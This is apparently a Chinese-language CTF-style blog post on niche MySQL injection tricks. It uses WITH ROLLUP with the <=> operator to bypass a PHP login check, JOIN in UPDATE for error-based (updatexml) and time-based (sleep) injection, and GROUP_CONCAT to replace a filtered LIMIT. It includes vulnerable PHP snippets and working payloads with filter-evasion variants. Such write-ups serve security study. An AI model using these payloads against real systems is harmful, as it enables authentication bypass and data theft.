刷leetcode的时候数据库部分有些题用到了join,想起前段时间PH师傅在小密圈出的题目,几位大佬给出的解答也是用了join,以及无聊看实验吧题目的时候重新看到的with rollup 的bypass方法,于是想重新梳理一下这一类稍微有点偏门的技巧,虽然实战不一定有用,但是最近槽心事太多了还是静下心做点事把。
GROUP BY WITH ROLLUP
这个方法最早是在13年的一个CTF题目上看到的,现在已经变成了一个比较基础的用法。要真正理解这个方法,需要理解with rollup的原理
常规的用法是
SELECT * FROM table_name GROUP BY a WITH ROLLUP
让查询出的增加一条a为NULL的行。
主要被用来bypass类似下面这个验证:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='{$username}';";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['password'] == $password){
die('right');
}
}
先验证查询结果行数是否唯一,再验证查询所得密码是否相同。
可以知道
SELECT * FROM users WHERE username='admin' GROUP BY password WITH ROLLUP
会产生一个password为NULL的行,用limit把它取出来就行,然后传入一个空的password会使得NULL == NULL绕过验证。
上面那条语句需要知道一个username的名字,如果不知道的话怎么办,可以用 username='' or 1=1 绕过,如果 or 被过滤了怎么办,可以用 username=''=0 来绕过。
<=>
还是上面那道题,如果逗号被过滤无法用 limit n,1 可以用 limit 1 offset 1绕过,那更严格的,limit被过滤应该怎么办?要知道的是,要想通过with rollup返回一个含有Null的行,必须要查询成功,也就是说查询出的结果至少含有两行,而我们需要把password=null的那一行挑出来。为了知道我们能干什么,需要理解SELECT的语法:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
我们当前的语句处于GROUP BY位置,而他的下一条可以使用的语句是HAVING,能不能通过构造HAVING语句找到我们password=null的那一行,当然是可以的。HAVING语句生效的原因是where_condition为true,如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null,万幸的是mysql还有一个比较操作符 <=>,当 null <=> null 的时候会返回1,于是可以构造类似下面的语句:
SELECT * FROM users WHERE username=''=0 GROUP BY password WITH ROLLUP HAVING password <=> null;
这样就可以只查询出password = null的那一行从而bypass验证。
JOIN
mysql中JOIN有三种语法,分别是LEFT JOIN, RIGHT JOIN以及INNER JOIN(JOIN),在SQL注入中的作用主要是构造查询,比如以前ph师傅的那道题:
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($conn, $sql)) {
echo(mysqli_error($conn));
}
mysqli_close($conn);
在直接打印出错误的情况下,报错注入是最优先的方法,各位表哥都是用了join的方法来构造查询,类似于:
UPDATE `table_name` JOIN (SELECT(updatexml(1,concat(0x7e,user(),0x7e),1))) `a` SET `username`='admin' WHERE id=1;
这个方法主要是使用了UPDATE的跨表更新,官方手册下的评论有一个例子:
UPDATE TABLE_1 LEFT JOIN TABLE_2 ON TABLE_1.COLUMN_1= TABLE_2.COLUMN_2
SET TABLE_1.COLUMN = EXPR WHERE TABLE_2.COLUMN2 IS NULL
其中TABLE_2处可以引入一个子查询从而达到报错注入的目的。
如果没有错误回显的话,时间盲注也是可以的,例如:
UPDATE `table_name` JOIN (SELECT if(1=1,sleep(10),0))) `a` SET `username`='admin' WHERE id=1;
GROUP_CONCAT
其实这不能算是一个偏门技巧,因为其实使用的还是挺多的,GROUP_CONCAT主要用来代替注入中LIMIT被过滤的情况,LIMIT 0,1特征明显,一个关键字一个空格一个逗号都是容易被过滤掉的东西。相比而言GROUP_CONCAT则不那么容易被误伤,并且操作简单比较适合懒人。
|